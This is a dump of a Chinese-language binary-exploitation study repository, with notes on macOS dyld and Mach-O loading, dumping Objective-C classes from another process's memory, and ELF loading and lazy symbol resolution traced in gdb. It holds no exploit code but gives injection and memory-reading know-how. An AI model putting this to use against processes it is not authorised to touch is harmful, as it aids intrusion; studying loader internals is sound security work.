├── .gitmodules ├── OSX.IOS ├── PWN之OSX常见问题.md ├── PWN之macho加载过程.md ├── PWN之macho解析.md ├── dump使用ObjectiveC编写的macho文件的正确姿势.md └── osx和ios的交叉编译.md ├── PWN之ELF以及so的加载和dlopen的过程.md ├── PWN之ELF符号动态解析过程.md ├── PWN之ELF解析.md ├── PWN之保护机制.md ├── PWN之利用方法总结.md ├── PWN之堆内存管理.md ├── PWN之堆触发.md ├── PWN之栈触发.md ├── PWN之漏洞触发点.md ├── PWN之绕过保护机制.md ├── PWN之逆向技巧.md ├── PwnableWriteup.md ├── README.md ├── linux进程动态so注入.md └── refs ├── 2002.gera_.About_Exploits_Writing.pdf ├── 2015-1029-yangkun-Gold-Mining-CTF.pdf ├── Linux_Interactive_Exploit_Development_with_GDB_and_PEDA_Slides.pdf ├── ROP_course_lecture_jonathan_salwan_2014.pdf ├── elf ├── 001_1 程序的链接和装入及Linux下动态链接的实现(修订版).doc ├── 001_2 Linux 动态链接机制研究及应用.pdf ├── 001_3 elf动态解析符号过程(修订版).rtf ├── 001_4 Linux下的动态连接库及其实现机制(修订版).rtf ├── ELF-berlinsides-0x3.pdf ├── Understanding_ELF.pdf ├── bh-us-02-clowes-binaries.ppt ├── elf.pdf ├── 《链接器和加载器》中译本.pdf └── 漫谈兼容内核之八 ELF 映像的装入 ( 一 ).doc ├── formatstring-1.2.pdf ├── gcc.pdf ├── heap ├── Bugtraq_The Malloc Maleficarum.pdf ├── Glibc_Adventures-The_Forgotten_Chunks.pdf ├── Heap overflow using Malloc Maleficarum _ sploitF-U-N.pdf ├── Project Zero_ The poisoned NUL byte, 2014 edition.pdf ├── [Phrack]Advanced Doug lea's malloc exploits.pdf ├── [Phrack]Vudo malloc tricks.pdf ├── bh-usa-07-ferguson-WP.pdf ├── glibc内存管理ptmalloc源代码分析.pdf ├── heap-hacking-by-0xbadc0de.be.pdf └── x86 Exploitation 101_ this is the first witchy house – gb_master's _dev_null.pdf ├── ltrace_internals.pdf └── pwntools.pdf /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "evilELF"] 2 | path = evilELF 3 | url = https://github.com/jmpews/evilELF.git 4 | [submodule "tools/Pwngdb"] 5 | path = tools/Pwngdb 6 | url = https://github.com/scwuaptx/Pwngdb.git 7 | [submodule "evilHEAP"] 8 | path = evilHEAP 9 | url = https://github.com/jmpews/evilHEAP.git 10 | [submodule "evilMACHO"] 11 | path = evilMACHO 12 | url = https://github.com/jmpews/evilMACHO.git 13 | -------------------------------------------------------------------------------- /OSX.IOS/PWN之OSX常见问题.md: -------------------------------------------------------------------------------- 1 | #### LC_REQ_DYLD说明 2 | 3 | ``` 4 | /* 5 | * After MacOS X 10.1 when a new load command is added that is required to be 6 | * understood by the dynamic linker for the image to execute properly the 7 | * LC_REQ_DYLD bit will be or'ed into the load command constant. If the dynamic 8 | * linker sees such a load command it it does not understand will issue a 9 | * "unknown load command required for execution" error and refuse to use the 10 | * image. Other load commands without this bit that are not understood will 11 | * simply be ignored. 12 | */ 13 | #define LC_REQ_DYLD 0x80000000 14 | ``` 15 | 16 | #### 关于 dyld_shared_cache 17 | 18 | 参考链接 19 | 20 | ``` 21 | http://iphonedevwiki.net/index.php/Dyld_shared_cache 22 | ``` 23 | 24 | 这里提一下如何使用 dyld 内源码提供的工具进行 extract. 25 | 26 | 先从 `https://opensource.apple.com/tarballs/dyld/dyld-421.2.tar.gz` 取得源码, 修改 `/launch-cache/dsc_extractor.cpp` 27 | 28 | ``` 29 | // 取消这里条件编译 30 | #if 1 31 | // test program 32 | #include 33 | #include 34 | #include 35 | 36 | 37 | typedef int (*extractor_proc)(const char* shared_cache_file_path, const char* extraction_root_path, 38 | void (^progress)(unsigned current, unsigned total)); 39 | 40 | int main(int argc, const char* argv[]) 41 | { 42 | if ( argc != 3 ) { 43 | fprintf(stderr, "usage: dsc_extractor \n"); 44 | return 1; 45 | } 46 | 47 | //void* handle = dlopen("/Volumes/my/src/dyld/build/Debug/dsc_extractor.bundle", RTLD_LAZY); 48 | void* handle = dlopen("/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/usr/lib/dsc_extractor.bundle", RTLD_LAZY); 49 | if ( handle == NULL ) { 50 | fprintf(stderr, "dsc_extractor.bundle could not be loaded\n"); 51 | return 1; 52 | } 53 | 54 | extractor_proc proc = (extractor_proc)dlsym(handle, "dyld_shared_cache_extract_dylibs_progress"); 55 | if ( proc == NULL ) { 56 | fprintf(stderr, "dsc_extractor.bundle did not have dyld_shared_cache_extract_dylibs_progress symbol\n"); 57 | return 1; 58 | } 59 | // 修改这里, 从而不使用 bundle 内的函数, 方便调试 60 | int result = dyld_shared_cache_extract_dylibs_progress(argv[1], argv[2], ^(unsigned c, unsigned total) { printf("%d/%d\n", c, total); } ); 61 | fprintf(stderr, "dyld_shared_cache_extract_dylibs_progress() => %d\n", result); 62 | return 0; 63 | } 64 | 65 | 66 | #endif 67 | ``` 68 | 69 | 对于源码分析, 因为还不知道有什么样的利用方法. 70 | 71 | #### 如何编译 libobjc.A.dylib 72 | 73 | 先说参考资料 74 | 75 | ``` 76 | //如何使用编译后的libobjc.A.dylib 77 | http://blog.csdn.net/wotors/article/details/54426316 78 | //配置objc编译环境的正确姿势 79 | http://www.gfzj.us/tech/2015/04/01/objc-runtime-compile-from-source-code.html 80 | //已配置好的objc源码 81 | https://github.com/RetVal/objc-runtime 82 | ``` 83 | 84 | -------------------------------------------------------------------------------- /OSX.IOS/PWN之macho加载过程.md: -------------------------------------------------------------------------------- 1 | #### 参考资料 2 | 3 | ``` 4 | http://cocoahuke.com/page2/ 5 | ``` 6 | 7 | #### 内核处理以及二进制文件加载过程 8 | 9 | ``` 10 | execve:kern_exec.c { 11 | __mac_execve:kern_exec.c { 12 | exec_activate_image:kern_exec.c { 13 | exec_mach_imgact:kern_exec.c { 14 | load_machfile:kern_exec.c { 15 | parse_machfile { 16 | load_dylinker { 17 | ``` 18 | 19 | #### 加载dyld过程 20 | 21 | ```c 22 | load_dylinker{ 23 | get_macho_vnode{ 24 | //读取dyld的fat_header 25 | vn_rdwr{} 26 | //读取dyld的mach_header 27 | vn_rdwr{} 28 | } 29 | parse_machfile{ 30 | //Map the load commands into kernel memory. 31 | vn_rdwr{} 32 | load_segment{ 33 | //这里进行了slide偏移, 并且在对_TEXT segment 进行映射时重新定位了, result->mach_header, 这个的原理像elf的segment加载时, 把elf-header算在第一个Segment上. 34 | map_segment{} 35 | } 36 | } 37 | } 38 | } 39 | ``` 40 | 41 | dyld 的处理过程在 `dyld.cpp`, 从 `LC_MAIN` 拿到地址后转到 `dyld.cpp/_main()` 执行. 42 | 43 | #### 处理环境变量 44 | 45 | ```c 46 | uintptr_t 47 | _main(const macho_header* mainExecutableMH, uintptr_t mainExecutableSlide, 48 | int argc, const char* argv[], const char* envp[], const char* apple[], 49 | uintptr_t* startGlue) 50 | { 51 | [...] 52 | configureProcessRestrictions(mainExecutableMH); 53 | 54 | #if __MAC_OS_X_VERSION_MIN_REQUIRED 55 | if ( gLinkContext.processIsRestricted ) { 56 | pruneEnvironmentVariables(envp, &apple); 57 | // set again because envp and apple may have changed or moved 58 | setContext(mainExecutableMH, argc, argv, envp, apple); 59 | } 60 | else 61 | #endif 62 | { 63 | checkEnvironmentVariables(envp); 64 | defaultUninitializedFallbackPaths(envp); 65 | } 66 | ``` 67 | 68 | ``` 69 | configureProcessRestrictions:dyld.cpp 70 | 对 ios 和 osx 做了区分, ios 默认不支持任何环境变量 71 | | 72 | checkEnvironmentVariables:dyld.cpp 73 | 检查环境变量, 之后调用下一个函数做处理 74 | | 75 | processDyldEnvironmentVariable:dyld.cpp 76 | 处理环境变量, 设置gLinkContext 77 | ``` 78 | 79 | 这里有一个关键的过程 `setContext(mainExecutableMH, argc, argv, envp, apple);` 设置上下文需要使用到的全局变量. 80 | 81 | #### 加载macho执行文件 82 | 83 | ```c 84 | uintptr_t 85 | _main(const macho_header* mainExecutableMH, uintptr_t mainExecutableSlide, 86 | int argc, const char* argv[], const char* envp[], const char* apple[], 87 | uintptr_t* startGlue) 88 | { 89 | [...] 90 | 91 | // instantiate ImageLoader for main executable 92 | sMainExecutable = instantiateFromLoadedImage(mainExecutableMH, mainExecutableSlide, sExecPath); 93 | gLinkContext.mainExecutable = sMainExecutable; 94 | gLinkContext.mainExecutableCodeSigned = hasCodeSignatureLoadCommand(mainExecutableMH); 95 | ``` 96 | 97 | ``` 98 | // 检查文件格式, 加载主可执行文件, 记录该image到全局环境变量 99 | instantiateFromLoadedImage:dyld.cpp 100 | { 101 | // 处理加载命令, 根据加载命令处理加载可执行文件 102 | ImageLoaderMachO::instantiateMainExecutable:ImageLoaderMachO.cpp 103 | { 104 | // 处理, 区分加载命令 105 | ImageLoaderMachO::sniffLoadCommands:ImageLoaderMachO.cpp 106 | // 根据加载命令, 开始加载可执行文件 ImageLoaderMachOCompressed::instantiateMainExecutable:ImageLoaderMachOCompressed.cpp 107 | { 108 | // 创建ImageLoaderMachOCompressed对象 109 | ImageLoaderMachOCompressed::instantiateStart:ImageLoaderMachOCompressed.cpp 110 | // 根据加载命令填充ImageLoaderMachOCompressed对象 111 | ImageLoaderMachOCompressed::instantiateFinish:ImageLoaderMachOCompressed.cpp 112 | } 113 | } 114 | // 记录image到全局变量 115 | addImage:dyld.cpp 116 | } 117 | ``` 118 | 119 | #### 加载共享动态库 120 | 121 | ```c 122 | uintptr_t 123 | _main(const macho_header* mainExecutableMH, uintptr_t mainExecutableSlide, 124 | int argc, const char* argv[], const char* envp[], const char* apple[], 125 | uintptr_t* startGlue) 126 | { 127 | [...] 128 | // load shared cache 129 | checkSharedRegionDisable(); 130 | #if DYLD_SHARED_CACHE_SUPPORT 131 | if ( gLinkContext.sharedRegionMode != ImageLoader::kDontUseSharedRegion ) { 132 | mapSharedCache(); 133 | } else { 134 | dyld_kernel_image_info_t kernelCacheInfo; 135 | bzero(&kernelCacheInfo.uuid[0], sizeof(uuid_t)); 136 | kernelCacheInfo.load_addr = 0; 137 | kernelCacheInfo.fsobjid.fid_objno = 0; 138 | kernelCacheInfo.fsobjid.fid_generation = 0; 139 | kernelCacheInfo.fsid.val[0] = 0; 140 | kernelCacheInfo.fsid.val[0] = 0; 141 | task_register_dyld_shared_cache_image_info(mach_task_self(), kernelCacheInfo, true, false); 142 | } 143 | #endif 144 | ``` 145 | 146 | ``` 147 | // 判断是否存在共享动态库, 如果存在直接使用, 否则进行加载, gLinkContext记录共享库地址 148 | mapSharedCache:dyld.cpp 149 | { 150 | } 151 | ``` 152 | 153 | #### 加载 DYLD_INSERT_LIBRARIES 154 | 155 | ```c 156 | uintptr_t 157 | _main(const macho_header* mainExecutableMH, uintptr_t mainExecutableSlide, 158 | int argc, const char* argv[], const char* envp[], const char* apple[], 159 | uintptr_t* startGlue) 160 | { 161 | [...] 162 | 163 | // load any inserted libraries 164 | if ( sEnv.DYLD_INSERT_LIBRARIES != NULL ) { 165 | for (const char* const* lib = sEnv.DYLD_INSERT_LIBRARIES; *lib != NULL; ++lib) 166 | loadInsertedDylib(*lib); 167 | } 168 | ``` 169 | 170 | ``` 171 | loadInsertedDylib:dyld.cpp 172 | { 173 | load:dyld.cpp 174 | { 175 | loadPhase0:dyld.cpp 176 | loadPhase1:dyld.cpp 177 | loadPhase2:dyld.cpp 178 | loadPhase3:dyld.cpp 179 | loadPhase4:dyld.cpp 180 | loadPhase5:dyld.cpp 181 | loadPhase5check:dyld.cpp 182 | loadPhase5load:dyld.cpp 183 | loadPhase5stat:dyld.cpp 184 | loadPhase5load:dyld.cpp 185 | loadPhase5open:dyld.cpp 186 | loadPhase6 187 | { 188 | checkandAddImage::dyld.cpp 189 | } 190 | 191 | } 192 | } 193 | ``` 194 | 195 | #### 加载自身依赖动态库 196 | 197 | ```c 198 | uintptr_t 199 | _main(const macho_header* mainExecutableMH, uintptr_t mainExecutableSlide, 200 | int argc, const char* argv[], const char* envp[], const char* apple[], 201 | uintptr_t* startGlue) 202 | { 203 | [...] 204 | 205 | link(sMainExecutable, sEnv.DYLD_BIND_AT_LAUNCH, true, ImageLoader::RPathChain(NULL, NULL), -1); 206 | sMainExecutable->setNeverUnloadRecursive(); 207 | if ( sMainExecutable->forceFlat() ) { 208 | gLinkContext.bindFlat = true; 209 | gLinkContext.prebindUsage = ImageLoader::kUseNoPrebinding; 210 | } 211 | ``` 212 | 213 | ``` 214 | link:dyld.cpp 215 | { 216 | ImageLoader::link:ImageLoader.cpp 217 | { 218 | ImageLoader::recursiveLoadLibraries:ImageLoader.cpp 219 | { 220 | ImageLoaderMachO::doGetDependentLibraries:ImageLoader.cpp 221 | libraryLocator:dyld.cpp 222 | { 223 | load:dyld.cpp 224 | } 225 | } 226 | } 227 | } 228 | ``` 229 | 230 | #### 其他 231 | 232 | ``` 233 | //之前通过addImage:dyld.cpp, 更新到dyld::gProcessInfo这个全局变量, 如果异常会调用下面的处理 234 | syncAllImages:dyld.cpp 235 | ``` 236 | 237 | -------------------------------------------------------------------------------- /OSX.IOS/PWN之macho解析.md: -------------------------------------------------------------------------------- 1 | #### 参考资料&不错的文章 2 | 3 | ``` 4 | https://lowlevelbits.org/parsing-mach-o-files/ 5 | 6 | ``` 7 | 8 | -------------------------------------------------------------------------------- /OSX.IOS/dump使用ObjectiveC编写的macho文件的正确姿势.md: -------------------------------------------------------------------------------- 1 | ## dump使用ObjectiveC编写的macho文件的正确姿势 2 | 3 | #### 问题1: 如何访问目标进程内存空间 4 | 5 | 使用 `task_for_pid` 取得对应的 `task_t` , 这里简单介绍下内部机制, 我也没有具体深究, 这个 `task_t` 的处理方式, 有些类似于 ELF 中 `link_map`, `link_map ` 对于用户 inlcude 的头文件和 libc 在进行链接加载时, 是两个不同的数据结构, 在链接加载时具有更多的成员. `task_t` 也是如此, 对于用户层而言仅为一个数字, 但是在内核处理, 该数据结构包含了该进程很多信息, 内存页的具体映射等等. 6 | 7 | 之后利用 `vm_read_overwrite` 访问目标内存空间 8 | 9 | #### 问题2: Macho文件的解析的起始位置 10 | 11 | Macho 文件的加载是经过 ASLR 的, 所以我们需要获取到程序的加载地址. 这里获取程序的加载地址有几种方式. 12 | 13 | ``` 14 | 1. task_info 15 | 16 | 2. vm_region 这个原理就是内核有个表记录了所有虚拟内存映射 用户层访问不到, 可以参考下面 17 | http://stackoverflow.com/questions/10301542/getting-process-base-address-in-mac-osx 18 | 19 | 3. 部分暴力内存搜索, 根据虚拟内存页和xnu的aslr特点, 可以限定内存搜索范围, 其实和上面有些类似 20 | https://github.com/jmpews/evilMACHO/tree/master/dumpRuntimeMacho 21 | ``` 22 | 23 | #### 问题3: 对于OC编写的Macho文件如何dump到类和方法 24 | 25 | 关键代码, 也是我分析的步骤. 26 | 27 | ```c 28 | //objc-file.mm 29 | GETSECT(_getObjc2ClassList, classref_t, "__objc_classlist"); 30 | 31 | //objc-runtime-new.mm 32 | static Class remapClass(classref_t cls) 33 | { 34 | return remapClass((Class)cls); 35 | } 36 | 37 | //Object.mm, objc.h 38 | typedef struct objc_class *Class; 39 | 40 | //objc-runtime-new.mm 41 | struct objc_class : objc_object { 42 | // Class ISA; 43 | Class superclass; 44 | cache_t cache; // formerly cache pointer and vtable 45 | class_data_bits_t bits; // class_rw_t * plus custom rr/alloc flags 46 | 47 | ...ignore methods 48 | } 49 | 50 | // 51 | struct objc_object { 52 | Class isa OBJC_ISA_AVAILABILITY; 53 | }; 54 | 55 | // 56 | struct cache_t { 57 | struct bucket_t *_buckets; 58 | mask_t _mask; 59 | mask_t _occupied; 60 | 61 | ...ignore methods 62 | } 63 | 64 | // 65 | struct class_data_bits_t { 66 | // Values are the FAST_ flags above. 67 | uintptr_t bits; 68 | 69 | ...ignore other methods 70 | 71 | class_rw_t* data() { 72 | return (class_rw_t *)(bits & FAST_DATA_MASK); 73 | } 74 | } 75 | ``` 76 | 77 | 上面是C++的 struct 的继承, 对应到 C 中应该是如何实现的?如果你阅读过 Python 源码就会知道, C++ 中的继承相当于子类 struct 在'开头'包含父类 struct. 78 | 79 | 以下为我展开的 C 下的 struct. 80 | 81 | ```c 82 | struct objc_class { 83 | struct objc_class *isa; // metaclass 84 | struct objc_class *superclass; // superclas 85 | struct bucket_t *_buckets; // cache 86 | mask_t _mask; // vtable 87 | mask_t _occupied; // vtable 88 | uintptr_t bits; // data 89 | } 90 | ``` 91 | 92 | 这里对于 `mask_t` 的两个成员有点特殊, 可以通过下面的声明以及 `_occupied` 的含义, 推断一二, `_mask` 仅占地址类型的一半, 另一部分留作占位, 以备后用. 93 | 94 | ``` 95 | #if __LP64__ 96 | typedef uint32_t mask_t; // x86_64 & arm64 asm are less efficient with 16-bits 97 | #else 98 | typedef uint16_t mask_t; 99 | #endif 100 | ``` 101 | 102 | 下面再提一下, 另一个特殊的 `uintptr_t bits`, 看似并不是一个地址, 但是如果仔细观察 `class_data_bits_t` 的方法, 会发现有一个 `data()` 的对象方法, 所以说, 从某种意思上来说 `bits` 就是一个地址, 这个地址存放了 `class_rw_t` 类型的数据. 103 | 104 | 之前没有看到上面注释, 其实上面有一段注释(注释写的位置, 很迷) 105 | 106 | ``` 107 | // class_data_bits_t is the class_t->data field (class_rw_t pointer plus flags) 108 | // The extra bits are optimized for the retain/release and alloc/dealloc paths. 109 | ``` 110 | 111 | 下面具体分析下 `class_rw_t` 这个重要的结构体 112 | 113 | ``` 114 | struct class_rw_t { 115 | // Be warned that Symbolication knows the layout of this structure. 116 | uint32_t flags; 117 | uint32_t version; 118 | 119 | const class_ro_t *ro; 120 | 121 | method_array_t methods; 122 | property_array_t properties; 123 | protocol_array_t protocols; 124 | 125 | Class firstSubclass; 126 | Class nextSiblingClass; 127 | 128 | char *demangledName; 129 | 130 | #if SUPPORT_INDEXED_ISA 131 | uint32_t index; 132 | #endif 133 | } 134 | struct class_ro_t { 135 | uint32_t flags; 136 | uint32_t instanceStart; 137 | uint32_t instanceSize; 138 | #ifdef __LP64__ 139 | uint32_t reserved; 140 | #endif 141 | 142 | const uint8_t * ivarLayout; 143 | 144 | const char * name; 145 | method_list_t * baseMethodList; 146 | protocol_list_t * baseProtocols; 147 | const ivar_list_t * ivars; 148 | 149 | const uint8_t * weakIvarLayout; 150 | property_list_t *baseProperties; 151 | 152 | method_list_t *baseMethods() const { 153 | return baseMethodList; 154 | } 155 | }; 156 | ``` 157 | 158 | 在之后我又发现发现了一些关于 objc_class 更多的资料, 这几篇文章都或多或少介绍过 objc_class, 都需要阅读, 希望大家更能了解到如何对不是很熟的技术进行分析的步骤. 159 | 160 | ``` 161 | https://bestswifter.com/runtime-category/ 162 | http://www.cnblogs.com/jiazhh/articles/3309085.html 163 | http://blog.sunnyxx.com/2015/09/13/class-ivar-layout/ 164 | https://xiuchundao.me/post/runtime-object-and-class 165 | http://draveness.me/method-struct/ 166 | ``` 167 | 168 | #### C++ 与 C 的结构对应 169 | 170 | 对于类的继承的处理? 171 | 172 | 可以看成 C 中结构体的包含另一个结构体(可展开) 173 | 174 | 对于模板的处理? 175 | 176 | 举个例子 177 | 178 | ``` 179 | template 180 | class list_array_tt { 181 | uint32_t count; 182 | List* lists[0]; 183 | } 184 | ``` 185 | 186 | 其实在我们处理时 List 可以使用 **void** 进行替代, 当需要使用时直接强制转换即可. 187 | 188 | -------------------------------------------------------------------------------- /OSX.IOS/osx和ios的交叉编译.md: -------------------------------------------------------------------------------- 1 | ## macOS/IOS 交叉编译 2 | 3 | #### 交叉编译参数 4 | 5 | host 参数 6 | 7 | 编译好的在什么平台下运行 8 | 9 | #### 编译 readline for IOS 10 | 11 | Darwin 版本对应的 macOS 和 IOS 的版本参考 `http://guides.macrumors.com/Darwin` 和 `https://www.theiphonewiki.com/wiki/Kernel` 12 | 13 | ``` 14 | export CC="clang" 15 | export CXX="clang" 16 | export CFLAGS="-arch armv7 -arch arm64 -mios-version-min=8.3 -isysroot /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS10.1.sdk" 17 | ``` 18 | 19 | ``` 20 | ./configure bash_cv_wcwidth_broken=yes --host=arm-apple-darwin \ 21 | --prefix=/Users/jmpews/Downloads/readline-7.0/build/arm/ \ 22 | --disable-shared 23 | make 24 | ``` 25 | 26 | #### 编译readline for macOS 27 | 28 | ``` 29 | export CC="clang" 30 | export CXX="clang" 31 | export CFLAGS="-arch x86_64 -arch i386" 32 | ``` 33 | 34 | ``` 35 | ./configure \ 36 | --prefix=/Users/jmpews/Downloads/readline-6.3/build/ \ 37 | --disable-shared 38 | ``` 39 | 40 | ``` 41 | //usage example 42 | clang -L/Users/jmpews/Downloads/readline-6.3/build/lib -I/Users/jmpews/Downloads/readline-6.3/build/include -lreadline -lncurses test.c 43 | ``` 44 | 45 | #### 编译readline for linux 46 | 47 | ``` 48 | export CC="clang" 49 | export CXX="clang" 50 | export CFLAGS="-arch i386" 51 | ``` 52 | 53 | ``` 54 | ./configure bash_cv_wcwidth_broken=yes --host i386-pc-linux \ 55 | --prefix=/Users/jmpews/Downloads/readline-7.0/build/linux32/ \ 56 | --disable-shared 57 | make 58 | ``` 59 | 60 | #### 编译 dumpdecrypted 61 | 62 | ``` 63 | https://github.com/stefanesser/dumpdecrypted/blob/master/Makefile 64 | ``` 65 | 66 | #### 编译 libjpeg-turbo 67 | 68 | ``` 69 | https://android.googlesource.com/platform/external/libjpeg-turbo/+/HEAD/BUILDING.md 70 | ``` 71 | 72 | 73 | 74 | -------------------------------------------------------------------------------- /PWN之ELF以及so的加载和dlopen的过程.md: -------------------------------------------------------------------------------- 1 | ## ELF以及so的加载和dlopen的过程 2 | 3 | 这里先提问题, 有些问题显而易见就不说了, 比如怎么判断是否是 ELF 文件, 肯定通过判断 ELF 魔数等等, 4 | 5 | #### 0x01 怎么判断需要加载那些 so 6 | 7 | 通过读取 `.dynamic` 段内的结构类型为 `DT_NEED` 的内容 8 | 9 | ``` 10 | ➜ hook readelf -d dy 11 | 12 | Dynamic section at offset 0xf0c contains 25 entries: 13 | Tag Type Name/Value 14 | 0x00000001 (NEEDED) Shared library: [libdl.so.2] 15 | 0x00000001 (NEEDED) Shared library: [libc.so.6] 16 | 0x0000000c (INIT) 0x80483fc 17 | 0x0000000d (FINI) 0x80486a4 18 | 0x00000019 (INIT_ARRAY) 0x8049f00 19 | 0x0000001b (INIT_ARRAYSZ) 4 (bytes) 20 | 0x0000001a (FINI_ARRAY) 0x8049f04 21 | 0x0000001c (FINI_ARRAYSZ) 4 (bytes) 22 | 0x6ffffef5 (GNU_HASH) 0x80481ac 23 | 0x00000005 (STRTAB) 0x804828c 24 | 0x00000006 (SYMTAB) 0x80481cc 25 | 0x0000000a (STRSZ) 200 (bytes) 26 | 0x0000000b (SYMENT) 16 (bytes) 27 | 0x00000015 (DEBUG) 0x0 28 | 0x00000003 (PLTGOT) 0x804a000 29 | 0x00000002 (PLTRELSZ) 56 (bytes) 30 | 0x00000014 (PLTREL) REL 31 | 0x00000017 (JMPREL) 0x80483c4 32 | 0x00000011 (REL) 0x80483bc 33 | 0x00000012 (RELSZ) 8 (bytes) 34 | 0x00000013 (RELENT) 8 (bytes) 35 | 0x6ffffffe (VERNEED) 0x804836c 36 | 0x6fffffff (VERNEEDNUM) 2 37 | 0x6ffffff0 (VERSYM) 0x8048354 38 | 0x00000000 (NULL) 0x0 39 | ``` 40 | 41 | 这个过程通过 `_dl_map_object_deps` 完成, 其中需要解决的一个很重要的问题就是如何避免重复加载. 42 | 43 | ``` 44 | A.so 依赖 C.so 45 | B.so 依赖 C.so 46 | 如何避免重复加载 C.so 47 | ``` 48 | 49 | #### 0x02 怎么加载 so 到内存 50 | 51 | 对于这个过程最核心的过程就是 `_dl_map_object_from_fd()` 52 | 53 | **0x01 `dl_open_worker()`** 54 | 55 | 整个 `dl_open()` 的工作都在 `dl_open_worker()` 这个函数内实现, 需要 so 以及其依赖, 并实现重定位 56 | 57 | **0x02 `_dl_map_object()`** 58 | 59 | 这个过程已经得到需要加载的 so 的名称或者说是路径, 假如仅仅是 so 的名称, 需要在常用目录进行搜索以及 `LD_PRELOAD` 等位置, 找到具体路径后, 校验 ELF 格式后取得文件句柄. 60 | 61 | **0x03 `_dl_map_object_from_fd()`** 62 | 63 | 这个过程是 so 加载到内存最核心的工作, 进行内存映射. 64 | 65 | 首先得到 so 的 `Phdr` 内容, 根据 ELF 的 Header 找到 Program Header, 到这一步把整个文件使用 mmap 映射到内存, 确定了基址, 之后再对每一个 Segment 进行 **基址+虚拟地址** 的映射, 这个过程中使用 mmap `MAP_FIXED` 标志, 这其实利用前一步的 mmap 的结果, 以确保正确的地址映射. 66 | 67 | 这里可能有疑问就是两次 mmap 是否会造成内存额外消耗, 其实并不是, 由于 `MAP_FIED` 标志位的作用就是如果映射的位置是重叠的就 68 | 69 | #### 0x03 如何完成符号重定位 -------------------------------------------------------------------------------- /PWN之ELF符号动态解析过程.md: -------------------------------------------------------------------------------- 1 | 下面以该源程序分析整个动态链接解释符号的过程: 2 | 3 | ``` 4 | #include 5 | int main(int argc, char *argv[]) 6 | { 7 | printf("Hello, world%d\n", 1); 8 | return 0; 9 | } 10 | ``` 11 | 先查看 `section` 表 12 | 13 | ``` 14 | ➜ hook readelf -S test 15 | There are 30 section headers, starting at offset 0x1154: 16 | 17 | Section Headers: 18 | [Nr] Name Type Addr Off Size ES Flg Lk Inf Al 19 | [ 0] NULL 00000000 000000 000000 00 0 0 0 20 | [ 1] .interp PROGBITS 08048154 000154 000013 00 A 0 0 1 21 | [ 2] .note.ABI-tag NOTE 08048168 000168 000020 00 A 0 0 4 22 | [ 3] .note.gnu.build-i NOTE 08048188 000188 000024 00 A 0 0 4 23 | [ 4] .gnu.hash GNU_HASH 080481ac 0001ac 000020 04 A 5 0 4 24 | [ 5] .dynsym DYNSYM 080481cc 0001cc 000050 10 A 6 1 4 25 | [ 6] .dynstr STRTAB 0804821c 00021c 00004c 00 A 0 0 1 26 | [ 7] .gnu.version VERSYM 08048268 000268 00000a 02 A 5 0 2 27 | [ 8] .gnu.version_r VERNEED 08048274 000274 000020 00 A 6 1 4 28 | [ 9] .rel.dyn REL 08048294 000294 000008 08 A 5 0 4 29 | [10] .rel.plt REL 0804829c 00029c 000018 08 A 5 12 4 30 | [11] .init PROGBITS 080482b4 0002b4 000023 00 AX 0 0 4 31 | [12] .plt PROGBITS 080482e0 0002e0 000040 04 AX 0 0 16 32 | [13] .text PROGBITS 08048320 000320 0001a2 00 AX 0 0 16 33 | [14] .fini PROGBITS 080484c4 0004c4 000014 00 AX 0 0 4 34 | [15] .rodata PROGBITS 080484d8 0004d8 000018 00 A 0 0 4 35 | [16] .eh_frame_hdr PROGBITS 080484f0 0004f0 00002c 00 A 0 0 4 36 | [17] .eh_frame PROGBITS 0804851c 00051c 0000b0 00 A 0 0 4 37 | [18] .init_array INIT_ARRAY 08049f08 000f08 000004 00 WA 0 0 4 38 | [19] .fini_array FINI_ARRAY 08049f0c 000f0c 000004 00 WA 0 0 4 39 | [20] .jcr PROGBITS 08049f10 000f10 000004 00 WA 0 0 4 40 | [21] .dynamic DYNAMIC 08049f14 000f14 0000e8 08 WA 6 0 4 41 | [22] .got PROGBITS 08049ffc 000ffc 000004 04 WA 0 0 4 42 | [23] .got.plt PROGBITS 0804a000 001000 000018 04 WA 0 0 4 43 | [24] .data PROGBITS 0804a018 001018 000008 00 WA 0 0 4 44 | [25] .bss NOBITS 0804a020 001020 000004 00 WA 0 0 1 45 | [26] .comment PROGBITS 00000000 001020 00002b 01 MS 0 0 1 46 | [27] .shstrtab STRTAB 00000000 00104b 000106 00 0 0 1 47 | [28] .symtab SYMTAB 00000000 001604 000430 10 29 45 4 48 | [29] .strtab STRTAB 00000000 001a34 000251 00 0 0 1 49 | ``` 50 | 51 | 反汇编 `main` 函数 52 | 53 | ``` 54 | gdb-peda$ disassemble main 55 | Dump of assembler code for function main: 56 | 0x0804841d <+0>: push ebp 57 | 0x0804841e <+1>: mov ebp,esp 58 | 0x08048420 <+3>: and esp,0xfffffff0 59 | 0x08048423 <+6>: sub esp,0x10 60 | 0x08048426 <+9>: mov DWORD PTR [esp+0x4],0x1 61 | 0x0804842e <+17>: mov DWORD PTR [esp],0x80484e0 62 | 0x08048435 <+24>: call 0x80482f0 63 | 0x0804843a <+29>: mov eax,0x0 64 | 0x0804843f <+34>: leave 65 | 0x08048440 <+35>: ret 66 | End of assembler dump. 67 | ``` 68 | 69 | 单步执行至 `0x80482f0 `, 这里需要用到前面的 `.got.plt`, `.plt`的知识, 大概说一下, `0x804a00c` 为 `.got.plt` 对应函数引用地址, 由于未初始化, `0x804a00c` 存放的就是下一句的地址 `0x080482f6`, 之后跳到 `0x80482e0` 开始进行初始化相关操作 70 | 71 | ``` 72 | gdb-peda$ disassemble 73 | Dump of assembler code for function printf@plt: 74 | => 0x080482f0 <+0>: jmp DWORD PTR ds:0x804a00c 75 | 0x080482f6 <+6>: push 0x0 76 | 0x080482fb <+11>: jmp 0x80482e0 77 | End of assembler dump. 78 | gdb-peda$ x/w 0x804a00c 79 | 0x804a00c : 0x080482f6 80 | ``` 81 | 82 | `0x804a008` 该地址预放了 `_dl_runtime_resolve` 函数的地址(`.got.plt` 表的第三项), 因为会跳到 `_dl_runtime_resolve` 进行初始化工作. 这里通过两次 `push` 操作, 其实是向 `_dl_fixup` 传入两个参数, 一个是需要重定位符号的偏移, 一个是 `link_map` 的地址 83 | 84 | ``` 85 | gdb-peda$ x/4i 0x80482e0 86 | 0x80482e0: push DWORD PTR ds:0x804a004 87 | => 0x80482e6: jmp DWORD PTR ds:0x804a008 88 | 0x80482ec: add BYTE PTR [eax],al 89 | 0x80482ee: add BYTE PTR [eax],al 90 | 